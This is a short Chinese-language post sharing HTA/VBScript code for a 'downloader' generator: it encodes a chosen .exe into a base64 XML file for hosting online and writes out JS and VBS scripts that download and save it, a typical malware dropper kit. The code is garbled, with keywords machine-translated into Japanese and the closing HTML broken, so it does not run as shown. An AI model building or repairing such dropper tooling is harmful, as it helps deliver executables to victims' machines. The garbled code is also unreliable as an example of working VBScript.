以下代码保存成hta文件、可生成js vbs下载者
代码如下:
<HTA:アプリケーション
id = "xmldown"
キャプション= "はい"
scroll = "auto"
border = "なし"
borderStyle = "static"
singleInstance = "はい"
MaximizeButton = "no"
border = "no"
icon = "dxdiag.exe">
<スクリプト言語= vbs>
sub window_onload
window.resizeto screen.width/1.6、screen.height/3
Window.Moveto 200,200
End Sub
sub createxml(path、file)
objstream = createObject( "adodb.stream")を設定します
objstream.type = 1
objstream.open()
objstream.loadfromfile(path)
objstream.position = 0
xmldoc = createObject( "microsoft.xmldom")をset
xmldoc.async = false
root = xmldoc.createprocessinginstruction( "xml"、 "version = '1.0' encoding = 'utf-8'")を設定します。
xmldoc.appendchild(root)
xmldoc.appendchild(xmldoc.createelement( "root"))
xfile = xmldoc.selectSinglenode( "// root")。
xstream = xfile.appendChild(xmldoc.createelement( "stream"))をset
XStream.SetAttribute "xmlns:dt"、 "urn:schemas-microsoft-com:datatypes"
xstream.datatype = "bin.base64"
xstream.nodetypedvalue = objstream.read()
xmldoc.save(file)
xmldoc = Nothingを設定します
root = Nothingを設定します
objstream = Nothingを設定します
End Sub
関数X(OBJ)
x = document.getElementbyid(obj)を設定します
エンド関数
function findfile(str)
fso = createObject( "Scripting.filesystemObject")
fso.fileexists(str)の場合
findfile = true
それ以外
findfile = false
ifを終了します
エンド関数
function jsdown()
fso = createObject( "Scripting.filesystemObject")
with fso.opentextfile((create object( "wscript.shell"))。currentDirectory& "/jsdown.js"、2、true)
.write x( "jsdown")。値
で終わります
エンド関数
functionvbsdown()
fso = createObject( "Scripting.filesystemObject")
with fso.opentextfile((create object( "wscript.shell"))。currentDirectory& "/vbsdown.vbs"、2、true)
.write x( "vbsdown")。値
で終わります
エンド関数
</script>
<body>
<h4>1。生成下载用的xml </h4>
选择下载的exe文件:<入力タイプ= file name = "file1" = "file1" size = "20">
保存路径<入力タイプ=テキストname = "path" id = "pathname" value = "c:/down.xml" size = "20">
<入力型= "button" value = "生成xml文件" onclick = 'vbs:createxml x( "file1")。value、x( "pathname")。value:findfile(x( "pathname")。value)= true then msgbox( "生成成功、请传到某个空间"):x( "url")。 color = red>生成成功、请传到某个空间</font> "'> <br>
<h4>2。生成下载者</h4>
<button onclick = 'vbs:jsdown():findfile( "jsdown.js")= true then msgbox "生成成功":x( "url")。 true then msgbox "生成成功":x( "url")。innerhtml = "<font color = blue>用法是cscript vbsdown.js xmlurl savepath </font>" '>生成vbs下载者</button> <br> <br> <br> <br>